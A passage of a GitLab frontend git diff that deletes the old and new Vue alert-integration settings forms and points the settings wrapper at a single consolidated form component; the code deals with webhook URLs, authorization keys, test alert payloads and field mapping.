- 'AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations.',
- ),
- },
- step2: {
- label: s__('AlertSettings|2. Name integration'),
- placeholder: s__('AlertSettings|Enter integration name'),
- },
- step3: {
- label: s__('AlertSettings|3. Set up webhook'),
- help: s__(
- "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint.",
- ),
- prometheusHelp: s__(
- 'AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint.',
- ),
- info: s__('AlertSettings|Authorization key'),
- reset: s__('AlertSettings|Reset Key'),
- },
- step4: {
- label: s__('AlertSettings|4. Sample alert payload (optional)'),
- help: s__(
- 'AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional).',
- ),
- prometheusHelp: s__(
- 'AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional).',
- ),
- placeholder: s__('AlertSettings|{ "events": [{ "application": "Name of application" }] }'),
- resetHeader: s__('AlertSettings|Reset the mapping'),
- resetBody: s__(
- "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields.",
- ),
- resetOk: s__('AlertSettings|Proceed with editing'),
- editPayload: s__('AlertSettings|Edit payload'),
- submitPayload: s__('AlertSettings|Submit payload'),
- payloadParsedSucessMsg: s__(
- 'AlertSettings|Sample payload has been parsed. You can now map the fields.',
- ),
- },
- step5: {
- label: s__('AlertSettings|5. Map fields (optional)'),
- intro: s__(
- "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key.",
- ),
- },
- prometheusFormUrl: {
- label: s__('AlertSettings|Prometheus API base URL'),
- help: s__('AlertSettings|URL cannot be blank and must start with http or https'),
- },
- restKeyInfo: {
- label: s__(
- 'AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in.',
- ),
- },
- // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
- opsgenie: {
- label: s__('AlertSettings|2. Add link to your Opsgenie alert list'),
- info: s__(
- 'AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature.',
- ),
- },
- },
- },
- components: {
- ClipboardButton,
- GlButton,
- GlCollapse,
- GlForm,
- GlFormGroup,
- GlFormInput,
- GlFormInputGroup,
- GlFormTextarea,
- GlFormSelect,
- GlModal,
- GlToggle,
- AlertSettingsFormHelpBlock,
- MappingBuilder,
- },
- directives: {
- GlModal: GlModalDirective,
- },
- inject: {
- generic: {
- default: {},
- },
- prometheus: {
- default: {},
- },
- // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
- opsgenie: {
- default: {},
- },
- },
- mixins: [glFeatureFlagsMixin()],
- props: {
- loading: {
- type: Boolean,
- required: true,
- },
- canAddIntegration: {
- type: Boolean,
- required: true,
- },
- // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
- canManageOpsgenie: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- apollo: {
- currentIntegration: {
- query: getCurrentIntegrationQuery,
- },
- },
- data() {
- return {
- selectedIntegration: integrationTypesNew[0].value,
- active: false,
- formVisible: false,
- integrationTestPayload: {
- json: null,
- error: null,
- },
- resetSamplePayloadConfirmed: false,
- customMapping: null,
- parsingPayload: false,
- currentIntegration: null,
- // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
- isManagingOpsgenie: false,
- };
- },
- computed: {
- isPrometheus() {
- return this.selectedIntegration === this.$options.typeSet.prometheus;
- },
- jsonIsValid() {
- return this.integrationTestPayload.error === null;
- },
- // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
- disabledIntegrations() {
- const options = [];
- if (this.opsgenie.active) {
- options.push(typeSet.http, typeSet.prometheus);
- } else if (!this.canManageOpsgenie) {
- options.push(typeSet.opsgenie);
- }
-
- return options;
- },
- options() {
- return integrationTypesNew.map(el => ({
- ...el,
- disabled: this.disabledIntegrations.includes(el.value),
- }));
- },
- selectedIntegrationType() {
- switch (this.selectedIntegration) {
- case typeSet.http:
- return this.generic;
- case typeSet.prometheus:
- return this.prometheus;
- // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
- case typeSet.opsgenie:
- return this.opsgenie;
- default:
- return {};
- }
- },
- integrationForm() {
- return {
- name: this.currentIntegration?.name || '',
- active: this.currentIntegration?.active || false,
- token: this.currentIntegration?.token || this.selectedIntegrationType.token,
- url: this.currentIntegration?.url || this.selectedIntegrationType.url,
- apiUrl: this.currentIntegration?.apiUrl || '',
- };
- },
- testAlertPayload() {
- return {
- data: this.integrationTestPayload.json,
- endpoint: this.integrationForm.url,
- token: this.integrationForm.token,
- };
- },
- showMappingBuilder() {
- return (
- this.glFeatures.multipleHttpIntegrationsCustomMapping &&
- this.selectedIntegration === typeSet.http
- );
- },
- mappingBuilderFields() {
- return this.customMapping?.samplePayload?.payloadAlerFields?.nodes;
- },
- mappingBuilderMapping() {
- return this.customMapping?.storedMapping?.nodes;
- },
- hasSamplePayload() {
- return Boolean(this.customMapping?.samplePayload);
- },
- canEditPayload() {
- return this.hasSamplePayload && !this.resetSamplePayloadConfirmed;
- },
- isPayloadEditDisabled() {
- return !this.active || this.canEditPayload;
- },
- },
- watch: {
- currentIntegration(val) {
- if (val === null) {
- return this.reset();
- }
- this.selectedIntegration = val.type;
- this.active = val.active;
- if (val.type === typeSet.http) this.getIntegrationMapping(val.id);
- return this.integrationTypeSelect();
- },
- },
- methods: {
- integrationTypeSelect() {
- if (this.selectedIntegration === integrationTypesNew[0].value) {
- this.formVisible = false;
- } else {
- this.formVisible = true;
- }
-
- // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
- if (this.canManageOpsgenie && this.selectedIntegration === typeSet.opsgenie) {
- this.isManagingOpsgenie = true;
- this.active = this.opsgenie.active;
- this.integrationForm.apiUrl = this.opsgenie.opsgenieMvcTargetUrl;
- } else {
- // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
- this.isManagingOpsgenie = false;
- }
- },
- // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
- submitWithOpsgenie() {
- return service
- .updateGenericActive({
- endpoint: this.opsgenie.formPath,
- params: {
- service: {
- opsgenie_mvc_target_url: this.integrationForm.apiUrl,
- opsgenie_mvc_enabled: this.active,
- },
- },
- })
- .then(() => {
- window.location.hash = sectionHash;
- window.location.reload();
- });
- },
- submitWithTestPayload() {
- return service
- .updateTestAlert(this.testAlertPayload)
- .then(() => {
- this.submit();
- })
- .catch(() => {
- this.$emit('test-payload-failure');
- });
- },
- submit() {
- // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
- if (this.isManagingOpsgenie) {
- return this.submitWithOpsgenie();
- }
-
- const { name, apiUrl } = this.integrationForm;
- const variables =
- this.selectedIntegration === typeSet.http
- ? { name, active: this.active }
- : { apiUrl, active: this.active };
- const integrationPayload = { type: this.selectedIntegration, variables };
-
- if (this.currentIntegration) {
- return this.$emit('update-integration', integrationPayload);
- }
-
- return this.$emit('create-new-integration', integrationPayload);
- },
- reset() {
- this.selectedIntegration = integrationTypesNew[0].value;
- this.integrationTypeSelect();
-
- if (this.currentIntegration) {
- return this.$emit('clear-current-integration');
- }
-
- return this.resetFormValues();
- },
- resetFormValues() {
- this.integrationForm.name = '';
- this.integrationForm.apiUrl = '';
- this.integrationTestPayload = {
- json: null,
- error: null,
- };
- this.active = false;
-
- // TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
- this.isManagingOpsgenie = false;
- },
- resetAuthKey() {
- if (!this.currentIntegration) {
- return;
- }
-
- this.$emit('reset-token', {
- type: this.selectedIntegration,
- variables: { id: this.currentIntegration.id },
- });
- },
- validateJson() {
- this.integrationTestPayload.error = null;
- if (this.integrationTestPayload.json === '') {
- return;
- }
-
- try {
- JSON.parse(this.integrationTestPayload.json);
- } catch (e) {
- this.integrationTestPayload.error = JSON.stringify(e.message);
- }
- },
- parseMapping() {
- // TODO: replace with real BE mutation when ready;
- this.parsingPayload = true;
-
- return new Promise(resolve => {
- setTimeout(() => resolve(mockedCustomMapping), 1000);
- })
- .then(res => {
- const mapping = { ...res };
- delete mapping.storedMapping;
- this.customMapping = res;
- this.integrationTestPayload.json = res?.samplePayload.body;
- this.resetSamplePayloadConfirmed = false;
-
- this.$toast.show(this.$options.i18n.integrationFormSteps.step4.payloadParsedSucessMsg);
- })
- .finally(() => {
- this.parsingPayload = false;
- });
- },
- getIntegrationMapping() {
- // TODO: replace with real BE mutation when ready;
- return Promise.resolve(mockedCustomMapping).then(res => {
- this.customMapping = res;
- this.integrationTestPayload.json = res?.samplePayload.body;
- });
- },
- },
-};
-</script>
-
-<template>
- <gl-form class="gl-mt-6" @submit.prevent="submit" @reset.prevent="reset">
- <h5 class="gl-font-lg gl-my-5">{{ s__('AlertSettings|Add new integrations') }}</h5>
- <gl-form-group
- id="integration-type"
- :label="$options.i18n.integrationFormSteps.step1.label"
- label-for="integration-type"
- >
- <gl-form-select
- v-model="selectedIntegration"
- :disabled="currentIntegration !== null || !canAddIntegration"
- :options="options"
- @change="integrationTypeSelect"
- />
-
- <div v-if="!canAddIntegration" class="gl-my-4" data-testid="multi-integrations-not-supported">
- <alert-settings-form-help-block
- :message="$options.i18n.integrationFormSteps.step1.enterprise"
- link="https://about.gitlab.com/pricing"
- />
- </div>
- </gl-form-group>
- <gl-collapse v-model="formVisible" class="gl-mt-3">
- <!-- TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657 -->
- <div v-if="isManagingOpsgenie">
- <gl-form-group
- id="integration-webhook"
- :label="$options.i18n.integrationFormSteps.opsgenie.label"
- label-for="integration-webhook"
- >
- <span class="gl-my-4">
- {{ $options.i18n.integrationFormSteps.opsgenie.info }}
- </span>
-
- <gl-toggle
- v-model="active"
- :is-loading="loading"
- :label="__('Active')"
- class="gl-my-4 gl-font-weight-normal"
- />
-
- <gl-form-input
- id="opsgenie-opsgenieMvcTargetUrl"
- v-model="integrationForm.apiUrl"
- type="text"
- :placeholder="$options.placeholders.opsgenie"
- />
-
- <span class="gl-text-gray-400 gl-my-1">
- {{ $options.i18n.integrationFormSteps.prometheusFormUrl.help }}
- </span>
- </gl-form-group>
- </div>
- <div v-else>
- <gl-form-group
- id="name-integration"
- :label="$options.i18n.integrationFormSteps.step2.label"
- label-for="name-integration"
- >
- <gl-form-input
- v-model="integrationForm.name"
- type="text"
- :placeholder="$options.i18n.integrationFormSteps.step2.placeholder"
- />
- </gl-form-group>
- <gl-form-group
- id="integration-webhook"
- :label="$options.i18n.integrationFormSteps.step3.label"
- label-for="integration-webhook"
- >
- <alert-settings-form-help-block
- :message="
- isPrometheus
- ? $options.i18n.integrationFormSteps.step3.prometheusHelp
- : $options.i18n.integrationFormSteps.step3.help
- "
- link="https://docs.gitlab.com/ee/operations/incident_management/alert_integrations.html"
- />
-
- <gl-toggle
- v-model="active"
- :is-loading="loading"
- :label="__('Active')"
- class="gl-my-4 gl-font-weight-normal"
- />
-
- <div v-if="isPrometheus" class="gl-my-4">
- <span class="gl-font-weight-bold">
- {{ $options.i18n.integrationFormSteps.prometheusFormUrl.label }}
- </span>
-
- <gl-form-input
- id="integration-apiUrl"
- v-model="integrationForm.apiUrl"
- type="text"
- :placeholder="$options.placeholders.prometheus"
- />
-
- <span class="gl-text-gray-400">
- {{ $options.i18n.integrationFormSteps.prometheusFormUrl.help }}
- </span>
- </div>
-
- <div class="gl-my-4">
- <span class="gl-font-weight-bold">
- {{ s__('AlertSettings|Webhook URL') }}
- </span>
-
- <gl-form-input-group id="url" readonly :value="integrationForm.url">
- <template #append>
- <clipboard-button
- :text="integrationForm.url || ''"
- :title="__('Copy')"
- class="gl-m-0!"
- />
- </template>
- </gl-form-input-group>
- </div>
-
- <div class="gl-my-4">
- <span class="gl-font-weight-bold">
- {{ $options.i18n.integrationFormSteps.step3.info }}
- </span>
-
- <gl-form-input-group
- id="authorization-key"
- class="gl-mb-3"
- readonly
- :value="integrationForm.token"
- >
- <template #append>
- <clipboard-button
- :text="integrationForm.token || ''"
- :title="__('Copy')"
- class="gl-m-0!"
- />
- </template>
- </gl-form-input-group>
-
- <gl-button v-gl-modal.authKeyModal :disabled="!active">
- {{ $options.i18n.integrationFormSteps.step3.reset }}
- </gl-button>
- <gl-modal
- modal-id="authKeyModal"
- :title="$options.i18n.integrationFormSteps.step3.reset"
- :ok-title="$options.i18n.integrationFormSteps.step3.reset"
- ok-variant="danger"
- @ok="resetAuthKey"
- >
- {{ $options.i18n.integrationFormSteps.restKeyInfo.label }}
- </gl-modal>
- </div>
- </gl-form-group>
-
- <gl-form-group
- id="test-integration"
- :label="$options.i18n.integrationFormSteps.step4.label"
- label-for="test-integration"
- :class="{ 'gl-mb-0!': showMappingBuilder }"
- :invalid-feedback="integrationTestPayload.error"
- >
- <alert-settings-form-help-block
- :message="
- isPrometheus || !showMappingBuilder
- ? $options.i18n.integrationFormSteps.step4.prometheusHelp
- : $options.i18n.integrationFormSteps.step4.help
- "
- :link="generic.alertsUsageUrl"
- />
-
- <gl-form-textarea
- id="test-payload"
- v-model.trim="integrationTestPayload.json"
- :disabled="isPayloadEditDisabled"
- :state="jsonIsValid"
- :placeholder="$options.i18n.integrationFormSteps.step4.placeholder"
- class="gl-my-3"
- :debounce="$options.JSON_VALIDATE_DELAY"
- rows="6"
- max-rows="10"
- @input="validateJson"
- />
- </gl-form-group>
-
- <template v-if="showMappingBuilder">
- <gl-button
- v-if="canEditPayload"
- v-gl-modal.resetPayloadModal
- data-testid="payload-action-btn"
- :disabled="!active"
- class="gl-mt-3"
- >
- {{ $options.i18n.integrationFormSteps.step4.editPayload }}
- </gl-button>
-
- <gl-button
- v-else
- data-testid="payload-action-btn"
- :class="{ 'gl-mt-3': integrationTestPayload.error }"
- :disabled="!active"
- :loading="parsingPayload"
- @click="parseMapping"
- >
- {{ $options.i18n.integrationFormSteps.step4.submitPayload }}
- </gl-button>
- <gl-modal
- modal-id="resetPayloadModal"
- :title="$options.i18n.integrationFormSteps.step4.resetHeader"
- :ok-title="$options.i18n.integrationFormSteps.step4.resetOk"
- ok-variant="danger"
- @ok="resetSamplePayloadConfirmed = true"
- >
- {{ $options.i18n.integrationFormSteps.step4.resetBody }}
- </gl-modal>
- </template>
-
- <gl-form-group
- v-if="showMappingBuilder"
- id="mapping-builder"
- class="gl-mt-5"
- :label="$options.i18n.integrationFormSteps.step5.label"
- label-for="mapping-builder"
- >
- <span>{{ $options.i18n.integrationFormSteps.step5.intro }}</span>
- <mapping-builder
- :payload-fields="mappingBuilderFields"
- :mapping="mappingBuilderMapping"
- />
- </gl-form-group>
- </div>
- <div class="gl-display-flex gl-justify-content-start gl-py-3">
- <gl-button
- type="submit"
- variant="success"
- class="js-no-auto-disable"
- data-testid="integration-form-submit"
- >{{ s__('AlertSettings|Save integration') }}
- </gl-button>
- <!-- TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657 -->
- <gl-button
- v-if="!isManagingOpsgenie"
- data-testid="integration-test-and-submit"
- :disabled="Boolean(integrationTestPayload.error)"
- category="secondary"
- variant="success"
- class="gl-mx-3 js-no-auto-disable"
- @click="submitWithTestPayload"
- >{{ s__('AlertSettings|Save and test payload') }}</gl-button
- >
- <gl-button
- type="reset"
- class="js-no-auto-disable"
- :class="{ 'gl-ml-3': isManagingOpsgenie }"
- >{{ __('Cancel') }}</gl-button
- >
- </div>
- </gl-collapse>
- </gl-form>
-</template>
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_settings_form_old.vue b/app/assets/javascripts/alerts_settings/components/alerts_settings_form_old.vue
deleted file mode 100644
index 0246315bdc5..00000000000
--- a/app/assets/javascripts/alerts_settings/components/alerts_settings_form_old.vue
+++ /dev/null
@@ -1,494 +0,0 @@
-<script>
-import {
- GlAlert,
- GlButton,
- GlForm,
- GlFormGroup,
- GlFormInput,
- GlFormInputGroup,
- GlFormTextarea,
- GlLink,
- GlModal,
- GlModalDirective,
- GlSprintf,
- GlFormSelect,
-} from '@gitlab/ui';
-import { debounce } from 'lodash';
-import { doesHashExistInUrl } from '~/lib/utils/url_utility';
-import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
-import ToggleButton from '~/vue_shared/components/toggle_button.vue';
-import csrf from '~/lib/utils/csrf';
-import service from '../services';
-import {
- i18n,
- integrationTypes,
- JSON_VALIDATE_DELAY,
- targetPrometheusUrlPlaceholder,
- targetOpsgenieUrlPlaceholder,
- sectionHash,
-} from '../constants';
-import createFlash, { FLASH_TYPES } from '~/flash';
-
-export default {
- i18n,
- csrf,
- targetOpsgenieUrlPlaceholder,
- targetPrometheusUrlPlaceholder,
- components: {
- GlAlert,
- GlButton,
- GlForm,
- GlFormGroup,
- GlFormInput,
- GlFormInputGroup,
- GlFormSelect,
- GlFormTextarea,
- GlLink,
- GlModal,
- GlSprintf,
- ClipboardButton,
- ToggleButton,
- },
- directives: {
- 'gl-modal': GlModalDirective,
- },
- inject: ['prometheus', 'generic', 'opsgenie'],
- data() {
- return {
- loading: false,
- selectedIntegration: integrationTypes[0].value,
- options: integrationTypes,
- active: false,
- token: '',
- targetUrl: '',
- feedback: {
- variant: 'danger',
- feedbackMessage: '',
- isFeedbackDismissed: false,
- },
- testAlert: {
- json: null,
- error: null,
- },
- canSaveForm: false,
- serverError: null,
- };
- },
- computed: {
- sections() {
- return [
- {
- text: this.$options.i18n.usageSection,
- url: this.generic.alertsUsageUrl,
- },
- {
- text: this.$options.i18n.setupSection,
- url: this.generic.alertsSetupUrl,
- },
- ];
- },
- isPrometheus() {
- return this.selectedIntegration === 'PROMETHEUS';
- },
- isOpsgenie() {
- return this.selectedIntegration === 'OPSGENIE';
- },
- selectedIntegrationType() {
- switch (this.selectedIntegration) {
- case 'HTTP': {
- return {
- url: this.generic.url,
- token: this.generic.token,
- active: this.generic.active,
- resetKey: this.resetKey.bind(this),
- };
- }
- case 'PROMETHEUS': {
- return {
- url: this.prometheus.url,
- token: this.prometheus.token,
- active: this.prometheus.active,
- resetKey: this.resetKey.bind(this, 'PROMETHEUS'),
- targetUrl: this.prometheus.prometheusApiUrl,
- };
- }
- case 'OPSGENIE': {
- return {
- targetUrl: this.opsgenie.opsgenieMvcTargetUrl,
- active: this.opsgenie.active,
- };
- }
- default: {
- return {};
- }
- }
- },
- showFeedbackMsg() {
- return this.feedback.feedbackMessage && !this.isFeedbackDismissed;
- },
- showAlertSave() {
- return (
- this.feedback.feedbackMessage === this.$options.i18n.testAlertFailed &&
- !this.isFeedbackDismissed
- );
- },
- prometheusInfo() {
- return this.isPrometheus ? this.$options.i18n.prometheusInfo : '';
- },
- jsonIsValid() {
- return this.testAlert.error === null;
- },
- canTestAlert() {
- return this.active && this.testAlert.json !== null;
- },
- canSaveConfig() {
- return !this.loading && this.canSaveForm;
- },
- baseUrlPlaceholder() {
- return this.isOpsgenie
- ? this.$options.targetOpsgenieUrlPlaceholder
- : this.$options.targetPrometheusUrlPlaceholder;
- },
- },
- watch: {
- 'testAlert.json': debounce(function debouncedJsonValidate() {
- this.validateJson();
- }, JSON_VALIDATE_DELAY),
- targetUrl(oldVal, newVal) {
- if (newVal && oldVal !== this.selectedIntegrationType.targetUrl) {
- this.canSaveForm = true;
- }
- },
- },
- mounted() {
- if (this.prometheus.active || this.generic.active || !this.opsgenie.opsgenieMvcIsAvailable) {
- this.removeOpsGenieOption();
- } else if (this.opsgenie.active) {
- this.setOpsgenieAsDefault();
- }
- this.active = this.selectedIntegrationType.active;
- this.token = this.selectedIntegrationType.token ?? '';
- },
- methods: {
- createUserErrorMessage(errors = {}) {
- const error = Object.entries(errors)?.[0];
- if (error) {
- const [field, [msg]] = error;
- this.serverError = `${field} ${msg}`;
- }
- },
- setOpsgenieAsDefault() {
- this.options = this.options.map(el => {
- if (el.value !== 'OPSGENIE') {
- return { ...el, disabled: true };
- }
- return { ...el, disabled: false };
- });
- this.selectedIntegration = this.options.find(({ value }) => value === 'OPSGENIE').value;
- if (this.targetUrl === null) {
- this.targetUrl = this.selectedIntegrationType.targetUrl;
- }
- },
- removeOpsGenieOption() {
- this.options = this.options.map(el => {
- if (el.value !== 'OPSGENIE') {
- return { ...el, disabled: false };
- }
- return { ...el, disabled: true };
- });
- },
- resetFormValues() {
- this.testAlert.json = null;
- this.targetUrl = this.selectedIntegrationType.targetUrl;
- this.active = this.selectedIntegrationType.active;
- },
- dismissFeedback() {
- this.serverError = null;
- this.feedback = { ...this.feedback, feedbackMessage: null };
- this.isFeedbackDismissed = false;
- },
- resetKey(key) {
- const fn = key === 'PROMETHEUS' ? this.resetPrometheusKey() : this.resetGenericKey();
-
- return fn
- .then(({ data: { token } }) => {
- this.token = token;
- this.setFeedback({ feedbackMessage: this.$options.i18n.tokenRest, variant: 'success' });
- })
- .catch(() => {
- this.setFeedback({ feedbackMessage: this.$options.i18n.errorKeyMsg, variant: 'danger' });
- });
- },
- resetGenericKey() {
- this.dismissFeedback();
- return service.updateGenericKey({
- endpoint: this.generic.formPath,
- params: { service: { token: '' } },
- });
- },
- resetPrometheusKey() {
- return service.updatePrometheusKey({ endpoint: this.prometheus.prometheusResetKeyPath });
- },
- toggleService(value) {
- this.canSaveForm = true;
- this.active = value;
- },
- toggle(value) {
- return this.isPrometheus ? this.togglePrometheusActive(value) : this.toggleActivated(value);
- },
- toggleActivated(value) {
- this.loading = true;
- const path = this.isOpsgenie ? this.opsgenie.formPath : this.generic.formPath;
- return service
- .updateGenericActive({
- endpoint: path,
- params: this.isOpsgenie
- ? { service: { opsgenie_mvc_target_url: this.targetUrl, opsgenie_mvc_enabled: value } }
- : { service: { active: value } },
- })
- .then(() => this.notifySuccessAndReload())
- .catch(({ response: { data: { errors } = {} } = {} }) => {
- this.createUserErrorMessage(errors);
- this.setFeedback({
- feedbackMessage: this.$options.i18n.errorMsg,
- variant: 'danger',
- });
- })
- .finally(() => {
- this.loading = false;
- this.canSaveForm = false;
- });
- },
- reload() {
- if (!doesHashExistInUrl(sectionHash)) {
- window.location.hash = sectionHash;
- }
- window.location.reload();
- },
- togglePrometheusActive(value) {
- this.loading = true;
- return service
- .updatePrometheusActive({
- endpoint: this.prometheus.prometheusFormPath,
- params: {
- token: this.$options.csrf.token,
- config: value,
- url: this.targetUrl,
- redirect: window.location,
- },
- })
- .then(() => this.notifySuccessAndReload())
- .catch(({ response: { data: { errors } = {} } = {} }) => {
- this.createUserErrorMessage(errors);
- this.setFeedback({
- feedbackMessage: this.$options.i18n.errorMsg,
- variant: 'danger',
- });
- })
- .finally(() => {
- this.loading = false;
- this.canSaveForm = false;
- });
- },
- notifySuccessAndReload() {
- createFlash({ message: this.$options.i18n.changesSaved, type: FLASH_TYPES.NOTICE });
- setTimeout(() => this.reload(), 1000);
- },
- setFeedback({ feedbackMessage, variant }) {
- this.feedback = { feedbackMessage, variant };
- },
- validateJson() {
- this.testAlert.error = null;
- try {
- JSON.parse(this.testAlert.json);
- } catch (e) {
- this.testAlert.error = JSON.stringify(e.message);
- }
- },
- validateTestAlert() {
- this.loading = true;
- this.dismissFeedback();
- this.validateJson();
- return service
- .updateTestAlert({
- endpoint: this.selectedIntegrationType.url,
- data: this.testAlert.json,
- token: this.selectedIntegrationType.token,
- })
- .then(() => {
- this.setFeedback({
- feedbackMessage: this.$options.i18n.testAlertSuccess,
- variant: 'success',
- });
- })
- .catch(() => {
- this.setFeedback({
- feedbackMessage: this.$options.i18n.testAlertFailed,
- variant: 'danger',
- });
- })
- .finally(() => {
- this.loading = false;
- });
- },
- onSubmit() {
- this.dismissFeedback();
- this.toggle(this.active);
- },
- onReset() {
- this.testAlert.json = null;
- this.dismissFeedback();
- this.targetUrl = this.selectedIntegrationType.targetUrl;
-
- if (this.canSaveForm) {
- this.canSaveForm = false;
- this.active = this.selectedIntegrationType.active;
- }
- },
- },
-};
-</script>
-
-<template>
- <gl-form @submit.prevent="onSubmit" @reset.prevent="onReset">
- <h5 class="gl-font-lg gl-my-5">{{ $options.i18n.integrationsLabel }}</h5>
-
- <gl-alert v-if="showFeedbackMsg" :variant="feedback.variant" @dismiss="dismissFeedback">
- {{ feedback.feedbackMessage }}
- <br />
- <i v-if="serverError">{{ __('Error message:') }} {{ serverError }}</i>
- <gl-button
- v-if="showAlertSave"
- variant="danger"
- category="primary"
- class="gl-display-block gl-mt-3"
- @click="toggle(active)"
- >
- {{ __('Save anyway') }}
- </gl-button>
- </gl-alert>
-
- <div data-testid="alert-settings-description">
- <p v-for="section in sections" :key="section.text">
- <gl-sprintf :message="section.text">
- <template #link="{ content }">
- <gl-link :href="section.url" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </p>
- </div>
-
- <gl-form-group label-for="integration-type" :label="$options.i18n.integration">
- <gl-form-select
- id="integration-type"
- v-model="selectedIntegration"
- :options="options"
- data-testid="alert-settings-select"
- @change="resetFormValues"
- />
- <span class="gl-text-gray-500">
- <gl-sprintf :message="$options.i18n.integrationsInfo">
- <template #link="{ content }">
- <gl-link
- class="gl-display-inline-block"
- href="https://gitlab.com/groups/gitlab-org/-/epics/4390"
- target="_blank"
- >{{ content }}</gl-link
- >
- </template>
- </gl-sprintf>
- </span>
- </gl-form-group>
- <gl-form-group :label="$options.i18n.activeLabel" label-for="active">
- <toggle-button
- id="active"
- :disabled-input="loading"
- :is-loading="loading"
- :value="active"
- @change="toggleService"
- />
- </gl-form-group>
- <gl-form-group
- v-if="isOpsgenie || isPrometheus"
- :label="$options.i18n.apiBaseUrlLabel"
- label-for="api-url"
- >
- <gl-form-input
- id="api-url"
- v-model="targetUrl"
- type="url"
- :placeholder="baseUrlPlaceholder"
- :disabled="!active"
- />
- <span class="gl-text-gray-500">
- {{ $options.i18n.apiBaseUrlHelpText }}
- </span>
- </gl-form-group>
- <template v-if="!isOpsgenie">
- <gl-form-group :label="$options.i18n.urlLabel" label-for="url">
- <gl-form-input-group id="url" readonly :value="selectedIntegrationType.url">
- <template #append>
- <clipboard-button
- :text="selectedIntegrationType.url"
- :title="$options.i18n.copyToClipboard"
- class="gl-m-0!"
- />
- </template>
- </gl-form-input-group>
- <span class="gl-text-gray-500">
- {{ prometheusInfo }}
- </span>
- </gl-form-group>
- <gl-form-group :label="$options.i18n.tokenLabel" label-for="authorization-key">
- <gl-form-input-group id="authorization-key" class="gl-mb-2" readonly :value="token">
- <template #append>
- <clipboard-button
- :text="token"
- :title="$options.i18n.copyToClipboard"
- class="gl-m-0!"
- />
- </template>
- </gl-form-input-group>
- <gl-button v-gl-modal.tokenModal :disabled="!active" class="gl-mt-3">{{
- $options.i18n.resetKey
- }}</gl-button>
- <gl-modal
- modal-id="tokenModal"
- :title="$options.i18n.resetKey"
- :ok-title="$options.i18n.resetKey"
- ok-variant="danger"
- @ok="selectedIntegrationType.resetKey"
- >
- {{ $options.i18n.restKeyInfo }}
- </gl-modal>
- </gl-form-group>
- <gl-form-group
- :label="$options.i18n.alertJson"
- label-for="alert-json"
- :invalid-feedback="testAlert.error"
- >
- <gl-form-textarea
- id="alert-json"
- v-model.trim="testAlert.json"
- :disabled="!active"
- :state="jsonIsValid"
- :placeholder="$options.i18n.alertJsonPlaceholder"
- rows="6"
- max-rows="10"
- />
- </gl-form-group>
-
- <gl-button :disabled="!canTestAlert" @click="validateTestAlert">{{
- $options.i18n.testAlertInfo
- }}</gl-button>
- </template>
- <div class="footer-block row-content-block gl-display-flex gl-justify-content-space-between">
- <gl-button variant="success" category="primary" :disabled="!canSaveConfig" @click="onSubmit">
- {{ __('Save changes') }}
- </gl-button>
- <gl-button category="primary" :disabled="!canSaveConfig" @click="onReset">
- {{ __('Cancel') }}
- </gl-button>
- </div>
- </gl-form>
-</template>
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue b/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
index 1ffc2f80148..a55e63c3bc0 100644
--- a/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
+++ b/app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue
@@ -1,7 +1,6 @@
<script>
import { GlAlert, GlLink, GlSprintf } from '@gitlab/ui';
import { s__ } from '~/locale';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { fetchPolicies } from '~/lib/graphql';
import createFlash, { FLASH_TYPES } from '~/flash';
import getIntegrationsQuery from '../graphql/queries/get_integrations.query.graphql';
@@ -15,8 +14,8 @@ import resetHttpTokenMutation from '../graphql/mutations/reset_http_token.mutati
import resetPrometheusTokenMutation from '../graphql/mutations/reset_prometheus_token.mutation.graphql';
import updateCurrentIntergrationMutation from '../graphql/mutations/update_current_intergration.mutation.graphql';
import IntegrationsList from './alerts_integrations_list.vue';
-import SettingsFormOld from './alerts_settings_form_old.vue';
-import SettingsFormNew from './alerts_settings_form_new.vue';
+import AlertSettingsForm from './alerts_settings_form.vue';
